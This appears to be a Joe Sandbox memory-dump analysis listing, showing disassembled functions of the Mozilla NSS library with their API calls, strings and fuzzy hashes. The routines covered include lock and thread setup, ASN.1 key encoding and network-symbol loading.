Part of subcall function 6C4ABB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C4B21BC), ref: 6C4ABB8C

PR_NewLock.NSS3 ref: 6C5D9CA9

Part of subcall function 6C5898D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C589946
Part of subcall function 6C5898D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C4416B7,00000000), ref: 6C58994E
Part of subcall function 6C5898D0: free.MOZGLUE(00000000), ref: 6C58995E

PR_NewLock.NSS3 ref: 6C5D9CB9
PR_NewLock.NSS3 ref: 6C5D9CC9
PR_NewCondVar.NSS3(00000000), ref: 6C5D9CDA

Part of subcall function 6C4ABB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C4ABBEB
Part of subcall function 6C4ABB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C4ABBFB
Part of subcall function 6C4ABB80: GetLastError.KERNEL32 ref: 6C4ABC03
Part of subcall function 6C4ABB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C4ABC19
Part of subcall function 6C4ABB80: free.MOZGLUE(00000000), ref: 6C4ABC22

PR_NewCondVar.NSS3(?), ref: 6C5D9CF0
PR_NewPollableEvent.NSS3 ref: 6C5D9D03

Part of subcall function 6C5CF3B0: PR_CallOnce.NSS3(6C6214B0,6C5CF510), ref: 6C5CF3E6
Part of subcall function 6C5CF3B0: PR_CreateIOLayerStub.NSS3(6C62006C), ref: 6C5CF402
Part of subcall function 6C5CF3B0: PR_Malloc.NSS3(00000004), ref: 6C5CF416
Part of subcall function 6C5CF3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6C5CF42D
Part of subcall function 6C5CF3B0: PR_SetSocketOption.NSS3(?), ref: 6C5CF455
Part of subcall function 6C5CF3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6C5CF473

Part of subcall function 6C589890: TlsGetValue.KERNEL32(?,?,?,6C5897EB), ref: 6C58989E

EnterCriticalSection.KERNEL32(?), ref: 6C5D9D78
calloc.MOZGLUE(00000001,0000000C), ref: 6C5D9DAF
_PR_CreateThread.NSS3(00000000,6C5D9EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6C5D9D9F

Part of subcall function 6C4AB3C0: TlsGetValue.KERNEL32 ref: 6C4AB403
Part of subcall function 6C4AB3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6C4AB459

_PR_CreateThread.NSS3(00000000,6C5DA060,00000000,00000001,00000001,00000000,?,00000000), ref: 6C5D9DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6C5D9DFC
_PR_CreateThread.NSS3(00000000,6C5DA530,00000000,00000001,00000001,00000000,?,00000000), ref: 6C5D9E29
calloc.MOZGLUE(00000001,0000000C), ref: 6C5D9E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6C5D9E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C5D9E89

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: 89d9d6172d7f262ac28d8614d00556a4d41c28fe8562b03bb631b41425f3c96c
Instruction ID: b0eb7b231a99023bf7db5b3887f84ee455bbea99c9db09e881326902ce1ada28
Opcode Fuzzy Hash: 89d9d6172d7f262ac28d8614d00556a4d41c28fe8562b03bb631b41425f3c96c
Instruction Fuzzy Hash: 28614EB1A00706AFD711DF79CC54A67BBE8FF49208B05453AE85AC7B11EB30E814CBA5

Function 6C4D3FF0 Relevance: 27.2, APIs: 18, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

SECKEY_CopyPublicKey.NSS3(?), ref: 6C4D4014

Part of subcall function 6C4D39F0: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C4D5E6F,?), ref: 6C4D3A08
Part of subcall function 6C4D39F0: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C4D5E6F), ref: 6C4D3A1C
Part of subcall function 6C4D39F0: memset.VCRUNTIME140(-00000004,00000000,000000A8,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4D3A3C

PORT_NewArena_Util.NSS3(00000800), ref: 6C4D4038

Part of subcall function 6C520FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C4C87ED,00000800,6C4BEF74,00000000), ref: 6C521000
Part of subcall function 6C520FF0: PR_NewLock.NSS3(?,00000800,6C4BEF74,00000000), ref: 6C521016
Part of subcall function 6C520FF0: PL_InitArenaPool.NSS3(00000000,security,6C4C87ED,00000008,?,00000800,6C4BEF74,00000000), ref: 6C52102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C4D404D

Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C5210F3
Part of subcall function 6C5210C0: EnterCriticalSection.KERNEL32(?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52110C
Part of subcall function 6C5210C0: PL_ArenaAllocate.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521141
Part of subcall function 6C5210C0: PR_Unlock.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521182
Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52119C

SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6C5EA0F4), ref: 6C4D40C2

Part of subcall function 6C51F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C51F0C8
Part of subcall function 6C51F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C51F122

SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,00000010,00000000), ref: 6C4D409A

Part of subcall function 6C51BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C4CE708,00000000,00000000,00000004,00000000), ref: 6C51BE6A
Part of subcall function 6C51BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C4D04DC,?), ref: 6C51BE7E
Part of subcall function 6C51BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C51BEC2

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C4D40DE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C4D40F4
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C4D4108
SECITEM_CopyItem_Util.NSS3(00000000,?,00000010), ref: 6C4D411A
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,000000C8), ref: 6C4D4137
SECITEM_CopyItem_Util.NSS3(00000000,-0000001C,-00000020), ref: 6C4D4150
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,-00000010,6C5EA1C8), ref: 6C4D417E
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,0000007C), ref: 6C4D4194
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C4D41A7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C4D41B2
PK11_DestroyObject.NSS3(?,?), ref: 6C4D41D9
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C4D41FC
SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6C5EA1A8), ref: 6C4D422D

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Util$Item_$Arena_$Copy$ArenaFree$AlgorithmEncodeError$Alloc_Value$AllocateCriticalDestroyEnterFindInitK11_LockObjectPoolPublicSectionTag_UnlockZfreecallocmemset
String ID:
API String ID: 912348568-0
Opcode ID: f2b127cd0533fe8f24a4fbfc527f758436b488d045d4252eb9dba5ce5014fa2c
Instruction ID: 874bcc79e7e2af93ce7eb9953a7b39669624f7f2c8f113518797bd9d8a94d129
Opcode Fuzzy Hash: f2b127cd0533fe8f24a4fbfc527f758436b488d045d4252eb9dba5ce5014fa2c
Instruction Fuzzy Hash: B15119B1B04300ABF710EB259C56F6B76EC9F9438DF051629E85AC6F82FB21F9048261

Function 6C519890 Relevance: 26.5, APIs: 12, Strings: 3, Instructions: 273COMMON

Download Yara Rule

APIs

PORT_ArenaGrow_Util.NSS3(?,?,00000010,?,?,?,?,00000000,00000010,?,6C512403,00000000,00000000), ref: 6C519963
PORT_ArenaGrow_Util.NSS3(00000000,00000000,00000000,00000007,00000000,00000010,?,6C512403,00000000,00000000), ref: 6C5198C0

Part of subcall function 6C521340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C4C895A,00000000,?,00000000,?,00000000,?,00000000,?,6C4BF599,?,00000000), ref: 6C52136A
Part of subcall function 6C521340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C4C895A,00000000,?,00000000,?,00000000,?,00000000,?,6C4BF599,?,00000000), ref: 6C52137E
Part of subcall function 6C521340: PL_ArenaGrow.NSS3(?,6C4BF599,?,00000000,?,6C4C895A,00000000,?,00000000,?,00000000,?,00000000,?,6C4BF599,?), ref: 6C5213CF
Part of subcall function 6C521340: PR_Unlock.NSS3(?,?,6C4C895A,00000000,?,00000000,?,00000000,?,00000000,?,6C4BF599,?,00000000), ref: 6C52145C

malloc.MOZGLUE(00000007,00000000,00000010,?,6C512403,00000000,00000000), ref: 6C5198D6
free.MOZGLUE(00000000), ref: 6C519B90

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-._~:[]@!$'()*+,=/?|, xrefs: 6C519A53, 6C519AF7
pkcs11:, xrefs: 6C5198F5
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-._~:[]@!$'()*+,=&, xrefs: 6C519903, 6C5199AE

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Arena$Grow_Util$CriticalEnterGrowSectionUnlockValuefreemalloc
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-._~:[]@!$'()*+,=&$abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-._~:[]@!$'()*+,=/?|$pkcs11:
API String ID: 1150520530-890694778
Opcode ID: f28614104640ab8a0da536014cc0000c7f6ff6024c3d96edbb4987d962fd163a
Instruction ID: ff04b288162e10c62c4afb083fac631e8f4fca15640a04161d726e87ff29af3a
Opcode Fuzzy Hash: f28614104640ab8a0da536014cc0000c7f6ff6024c3d96edbb4987d962fd163a
Instruction Fuzzy Hash: 90A16070E0C2069BFB04DFA5CC88AEEB7B5FF44359F144129D815A7E80E735AA05CBA5

Function 6C518E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6C518E01,00000000,6C519060,6C620B64), ref: 6C518E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6C518E01,00000000,6C519060,6C620B64), ref: 6C518E9E
PORT_ArenaAlloc_Util.NSS3(6C620B64,00000001,?,?,?,?,6C518E01,00000000,6C519060,6C620B64), ref: 6C518EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6C518E01,00000000,6C519060,6C620B64), ref: 6C518EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6C518E01,00000000,6C519060,6C620B64), ref: 6C518ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6C518E01,00000000,6C519060,6C620B64), ref: 6C518EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6C518E01), ref: 6C518EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C620B64,6C620B64), ref: 6C518F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6C518F3F

Part of subcall function 6C51A110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6C51A421,00000000,00000000,6C519826), ref: 6C51A136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C51904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6C518E76

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: 0cee6d55d3635d6df5a91f180a1dcf58f1e787e53fb11a84cdf2272cdfa45bc0
Instruction ID: 095c46119ba264a609352337c2b2056b5285703def762278d382d11421558f58
Opcode Fuzzy Hash: 0cee6d55d3635d6df5a91f180a1dcf58f1e787e53fb11a84cdf2272cdfa45bc0
Instruction Fuzzy Hash: FD618EB5E042069FEB10CF55CC84AABB7B9FF84358F154528DC18A7B40E732AD15CBA1

Function 6C4C8E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C4C8E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C4C8E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C4C8EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C5F18D0,?), ref: 6C4C8F03
PR_CallOnce.NSS3(6C622AA4,6C5212D0), ref: 6C4C8F19
PL_FreeArenaPool.NSS3(?), ref: 6C4C8F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C4C8F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C4C8F65
PL_FinishArenaPool.NSS3(?), ref: 6C4C8FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6C4C8FFE
PR_CallOnce.NSS3(6C622AA4,6C5212D0), ref: 6C4C9012
PL_FreeArenaPool.NSS3(?), ref: 6C4C9024
PL_FinishArenaPool.NSS3(?), ref: 6C4C902C
PORT_DestroyCheapArena.NSS3(?), ref: 6C4C903E

Strings

security, xrefs: 6C4C8EE7

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: b8c48704ff9373486fdcc5f0b6f5cff62b22b530ec17af380326602ace6af7a7
Instruction ID: f77643caaec5a63870638f59e553cec008473a3a875a20a52cb9092b627ddd33
Opcode Fuzzy Hash: b8c48704ff9373486fdcc5f0b6f5cff62b22b530ec17af380326602ace6af7a7
Instruction Fuzzy Hash: A55137B9608300ABE710DA559C41FAB73E8ABC535DF44082EF85497BA0E736ED098753

Function 6C58CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C58CC7B), ref: 6C58CD7A

Part of subcall function 6C58CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6C4FC1A8,?), ref: 6C58CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C58CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C58CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6C58CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C58CD8E

Part of subcall function 6C4B05C0: PR_EnterMonitor.NSS3 ref: 6C4B05D1
Part of subcall function 6C4B05C0: PR_ExitMonitor.NSS3 ref: 6C4B05EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6C58CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C58CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C58CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C58CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6C58CE48

Strings

wship6.dll, xrefs: 6C58CDE3
getnameinfo, xrefs: 6C58CDB2, 6C58CE23
getaddrinfo, xrefs: 6C58CD88, 6C58CDF9
freeaddrinfo, xrefs: 6C58CD9F, 6C58CE10
ws2_32.dll, xrefs: 6C58CD75

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 7353497a0ffae136eccce74802ba8e330a1cb812690acbc6f06c989fbcd5612c
Instruction ID: 8372cbc90b3e23e2bbfbc8cfc196b83f0e9635f64625f24cb3dee2cb3891fd30
Opcode Fuzzy Hash: 7353497a0ffae136eccce74802ba8e330a1cb812690acbc6f06c989fbcd5612c
Instruction Fuzzy Hash: F711E9F5E0317197D711F6766D40EAE39995B4211DF180638E815E2F00FB35EA0986F6

Function 6C5D1C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6C5D13BC,?,?,?,6C5D1193), ref: 6C5D1C6B
PR_NewLock.NSS3(?,6C5D1193), ref: 6C5D1C7E

Part of subcall function 6C5898D0: calloc.MOZGLUE(00000001,00000084,6C4B0936,00000001,?,6C4B102C), ref: 6C5898E5

PR_NewCondVar.NSS3(00000000,?,6C5D1193), ref: 6C5D1C91

Part of subcall function 6C4ABB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C4B21BC), ref: 6C4ABB8C

PR_NewCondVar.NSS3(00000000,?,?,6C5D1193), ref: 6C5D1CA7

Part of subcall function 6C4ABB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C4ABBEB
Part of subcall function 6C4ABB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C4ABBFB
Part of subcall function 6C4ABB80: GetLastError.KERNEL32 ref: 6C4ABC03
Part of subcall function 6C4ABB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C4ABC19
Part of subcall function 6C4ABB80: free.MOZGLUE(00000000), ref: 6C4ABC22

PR_NewCondVar.NSS3(00000000,?,?,?,6C5D1193), ref: 6C5D1CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6C5D1193), ref: 6C5D1CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6C5D1193), ref: 6C5D1CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6C5D1193), ref: 6C5D1D1A

Part of subcall function 6C589BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C4B1A48), ref: 6C589BB3
Part of subcall function 6C589BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C4B1A48), ref: 6C589BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6C5D1193), ref: 6C5D1D3D

Part of subcall function 6C56DD70: TlsGetValue.KERNEL32 ref: 6C56DD8C
Part of subcall function 6C56DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C56DDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6C5D1193), ref: 6C5D1D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6C5D1193), ref: 6C5D1D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6C5D1193), ref: 6C5D1D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6C5D1193), ref: 6C5D1D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6C5D1193), ref: 6C5D1D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6C5D1193), ref: 6C5D1D93
PR_DestroyLock.NSS3(00000000,?,?,6C5D1193), ref: 6C5D1D9F
free.MOZGLUE(00000000,?,6C5D1193), ref: 6C5D1DA8

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: 2ac63bf3d192b9c434c5709541ca7f75e6f7f455449d3ad4f801e6993ded04f9
Instruction ID: 5179ea8c9e93357e246754e4271f82c6ebb29a4017415f7627934964476f9f0d
Opcode Fuzzy Hash: 2ac63bf3d192b9c434c5709541ca7f75e6f7f455449d3ad4f801e6993ded04f9
Instruction Fuzzy Hash: 7831A7F1E007019BEB219F699C41E577AE4AF51659F040839E84B87F41F731F804CBA6

Function 6C4E5E60 Relevance: 24.8, APIs: 11, Strings: 3, Instructions: 348COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C4E5ECF
EnterCriticalSection.KERNEL32(?), ref: 6C4E5EE3
PR_Unlock.NSS3(?), ref: 6C4E5F0A
PK11_MakeIDFromPubKey.NSS3(00000014), ref: 6C4E5FB5

Strings

S&Pl, xrefs: 6C4E62E3
NSS_USE_DECODED_CKA_EC_POINT, xrefs: 6C4E61F4
S&Pl, xrefs: 6C4E5E6C, 6C4E627F, 6C4E5F12

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CriticalEnterFromK11_MakeSectionUnlockValue
String ID: NSS_USE_DECODED_CKA_EC_POINT$S&Pl$S&Pl
API String ID: 2280678669-483698152
Opcode ID: ab087955c37239ec711ac39f4c6502ef1a319a17b218a78fa081463c20e04217
Instruction ID: 3a87d5eb46e7dbbca392012eb4fb40d3c195115153dd932ba4acd45a0e0cea83
Opcode Fuzzy Hash: ab087955c37239ec711ac39f4c6502ef1a319a17b218a78fa081463c20e04217
Instruction Fuzzy Hash: B9F1F5B5A00219CFDB44CF19C884B86BBF4FF49305F1582AAD9089B746E774EA85CF91

Function 6C530C60 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(*,Sl), ref: 6C530C81

Part of subcall function 6C51BE30: SECOID_FindOID_Util.NSS3(6C4D311B,00000000,?,6C4D311B,?), ref: 6C51BE44

Part of subcall function 6C508500: SECOID_GetAlgorithmTag_Util.NSS3(6C5095DC,00000000,00000000,00000000,?,6C5095DC,00000000,00000000,?,6C4E7F4A,00000000,?,00000000,00000000), ref: 6C508517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C530CC4

